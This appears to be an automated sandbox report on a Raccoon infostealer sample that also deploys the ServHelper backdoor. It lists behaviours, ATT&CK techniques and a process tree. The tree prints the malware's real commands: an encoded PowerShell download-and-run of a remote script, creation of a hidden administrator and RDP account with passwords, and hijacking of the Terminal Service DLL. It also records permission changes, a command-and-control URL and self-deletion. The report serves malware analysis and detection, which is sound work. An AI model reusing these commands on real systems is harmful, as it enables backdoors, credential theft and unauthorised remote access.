raccoon | 2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54

Analysis

max time kernel
146s
max time network
158s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 17:28

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General

Target

f13060a6789449453b7d4a4b815cc80d.exe
Size

567KB
MD5

f13060a6789449453b7d4a4b815cc80d
SHA1

77d3b0a202710d93c660aca624a63a97811b8f9e
SHA256

2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54
SHA512

78ed128be390ff896fb83b4cac8b30db20258f985d8f86d61f64da19cbd0bd8e2891a46fbdee1ad09e6d99fda697dfb12650deb1c628979b3a4133c438313b55

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1860	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2032	eMHx1WpYQE.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1872	icacls.exe
1472	icacls.exe
940	icacls.exe
1404	icacls.exe
1852	icacls.exe
1708	takeown.exe
1608	icacls.exe
796	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130de-198.dat	upx
behavioral1/files/0x00060000000130df-199.dat	upx

Deletes itself 1 IoCs

pid	Process
972	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1204	f13060a6789449453b7d4a4b815cc80d.exe
1700	Process not Found
1700	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1852	icacls.exe
1708	takeown.exe
1608	icacls.exe
796	icacls.exe
1872	icacls.exe
1472	icacls.exe
940	icacls.exe
1404	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_61b8344c-ab77-49df-a83b-e8539b070aa4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bf0a3031-6136-4701-a591-623b2daf78ae	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_41540d7b-b66a-4bae-a7a9-c04107f92ef6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3a8dd98-8d44-4e05-8233-07a05423c4dc	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3993622f-7fde-4702-8a01-724b0b327980	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_18ee76ff-5622-4f1c-a3f0-1cb080646cc2	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_315c1e97-858f-4967-a8c9-9eb9407e6c7f	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TX1QS3SONP1Q13JOBV78.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3aa697a5-86d1-43ae-a93b-47dad58969c0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e2c591af-3921-491e-a717-300ba656e916	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f0c2edd8-e7dc-4ca1-b9f0-40d5153d0542	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_83dc5886-7501-4213-b34f-1dadae3fcc29	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
756	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3045ab56e557d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
928	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	f13060a6789449453b7d4a4b815cc80d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	f13060a6789449453b7d4a4b815cc80d.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
1616	powershell.exe
1616	powershell.exe
1208	powershell.exe
1208	powershell.exe
1644	powershell.exe
1644	powershell.exe
684	powershell.exe
684	powershell.exe
684	powershell.exe
1860	powershell.exe
1860	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1700	Process not Found
1700	Process not Found
1700	Process not Found
1700	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeRestorePrivilege	796	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1016	WMIC.exe
Token: SeAuditPrivilege	1016	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1016	WMIC.exe
Token: SeAuditPrivilege	1016	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeAuditPrivilege	1616	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeAuditPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1860	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 2032	1204	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1204 wrote to memory of 2032	1204	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1204 wrote to memory of 2032	1204	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1204 wrote to memory of 2032	1204	f13060a6789449453b7d4a4b815cc80d.exe	30
PID 1204 wrote to memory of 972	1204	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1204 wrote to memory of 972	1204	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1204 wrote to memory of 972	1204	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 1204 wrote to memory of 972	1204	f13060a6789449453b7d4a4b815cc80d.exe	31
PID 972 wrote to memory of 756	972	cmd.exe	33
PID 972 wrote to memory of 756	972	cmd.exe	33
PID 972 wrote to memory of 756	972	cmd.exe	33
PID 972 wrote to memory of 756	972	cmd.exe	33
PID 2032 wrote to memory of 684	2032	eMHx1WpYQE.exe	34
PID 2032 wrote to memory of 684	2032	eMHx1WpYQE.exe	34
PID 2032 wrote to memory of 684	2032	eMHx1WpYQE.exe	34
PID 684 wrote to memory of 1280	684	powershell.exe	36
PID 684 wrote to memory of 1280	684	powershell.exe	36
PID 684 wrote to memory of 1280	684	powershell.exe	36
PID 1280 wrote to memory of 952	1280	csc.exe	37
PID 1280 wrote to memory of 952	1280	csc.exe	37
PID 1280 wrote to memory of 952	1280	csc.exe	37
PID 684 wrote to memory of 1616	684	powershell.exe	38
PID 684 wrote to memory of 1616	684	powershell.exe	38
PID 684 wrote to memory of 1616	684	powershell.exe	38
PID 684 wrote to memory of 1208	684	powershell.exe	40
PID 684 wrote to memory of 1208	684	powershell.exe	40
PID 684 wrote to memory of 1208	684	powershell.exe	40
PID 684 wrote to memory of 1644	684	powershell.exe	42
PID 684 wrote to memory of 1644	684	powershell.exe	42
PID 684 wrote to memory of 1644	684	powershell.exe	42
PID 684 wrote to memory of 1708	684	powershell.exe	45
PID 684 wrote to memory of 1708	684	powershell.exe	45
PID 684 wrote to memory of 1708	684	powershell.exe	45
PID 684 wrote to memory of 1608	684	powershell.exe	46
PID 684 wrote to memory of 1608	684	powershell.exe	46
PID 684 wrote to memory of 1608	684	powershell.exe	46
PID 684 wrote to memory of 796	684	powershell.exe	47
PID 684 wrote to memory of 796	684	powershell.exe	47
PID 684 wrote to memory of 796	684	powershell.exe	47
PID 684 wrote to memory of 1872	684	powershell.exe	48
PID 684 wrote to memory of 1872	684	powershell.exe	48
PID 684 wrote to memory of 1872	684	powershell.exe	48
PID 684 wrote to memory of 1472	684	powershell.exe	49
PID 684 wrote to memory of 1472	684	powershell.exe	49
PID 684 wrote to memory of 1472	684	powershell.exe	49
PID 684 wrote to memory of 940	684	powershell.exe	50
PID 684 wrote to memory of 940	684	powershell.exe	50
PID 684 wrote to memory of 940	684	powershell.exe	50
PID 684 wrote to memory of 1404	684	powershell.exe	51
PID 684 wrote to memory of 1404	684	powershell.exe	51
PID 684 wrote to memory of 1404	684	powershell.exe	51
PID 684 wrote to memory of 1852	684	powershell.exe	52
PID 684 wrote to memory of 1852	684	powershell.exe	52
PID 684 wrote to memory of 1852	684	powershell.exe	52
PID 684 wrote to memory of 1824	684	powershell.exe	53
PID 684 wrote to memory of 1824	684	powershell.exe	53
PID 684 wrote to memory of 1824	684	powershell.exe	53
PID 684 wrote to memory of 928	684	powershell.exe	54
PID 684 wrote to memory of 928	684	powershell.exe	54
PID 684 wrote to memory of 928	684	powershell.exe	54
PID 684 wrote to memory of 1780	684	powershell.exe	55
PID 684 wrote to memory of 1780	684	powershell.exe	55
PID 684 wrote to memory of 1780	684	powershell.exe	55
PID 684 wrote to memory of 484	684	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe
"C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Users\Admin\AppData\Local\Temp\eMHx1WpYQE.exe
  "C:\Users\Admin\AppData\Local\Temp\eMHx1WpYQE.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3vf20a2f\3vf20a2f.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1280
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4682.tmp" "c:\Users\Admin\AppData\Local\Temp\3vf20a2f\CSCB96B6978EF24B0BA789F31CDE4CAA3F.TMP"
        5⤵
        
        PID:952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1644
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1708
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1608
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:796
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1872
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1472
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:940
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1404
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1852
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1824
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:928
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1780
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:484
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:280
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:752
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:608
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1604
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1764
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:616
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:864
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:2004
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1876
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:624
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:756

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:360
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1404

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc P9b9ouVf /add
1⤵
PID:920
- C:\Windows\system32\net.exe
  net.exe user wgautilacc P9b9ouVf /add
  2⤵
  PID:928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc P9b9ouVf /add
    3⤵
    PID:1656

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1496
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1372
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1252

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:360
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1616

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc P9b9ouVf
1⤵
PID:1208
- C:\Windows\system32\net.exe
  net.exe user wgautilacc P9b9ouVf
  2⤵
  PID:608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc P9b9ouVf
    3⤵
    PID:1392

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1204
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1016

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:920
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1616

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:748
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1860

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:820
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/684-116-0x000000001AA9A000-0x000000001AAB9000-memory.dmp

Filesize
124KB

Download
memory/684-103-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/684-86-0x00000000025A0000-0x00000000025A1000-memory.dmp

Filesize
4KB

Download
memory/684-91-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/684-87-0x000000001AA90000-0x000000001AA92000-memory.dmp

Filesize
8KB

Download
memory/684-83-0x000007FEFB681000-0x000007FEFB683000-memory.dmp

Filesize
8KB

Download
memory/684-85-0x000000001AB10000-0x000000001AB11000-memory.dmp

Filesize
4KB

Download
memory/684-84-0x0000000002310000-0x0000000002311000-memory.dmp

Filesize
4KB

Download
memory/684-88-0x000000001AA94000-0x000000001AA96000-memory.dmp

Filesize
8KB

Download
memory/684-102-0x000000001B580000-0x000000001B581000-memory.dmp

Filesize
4KB

Download
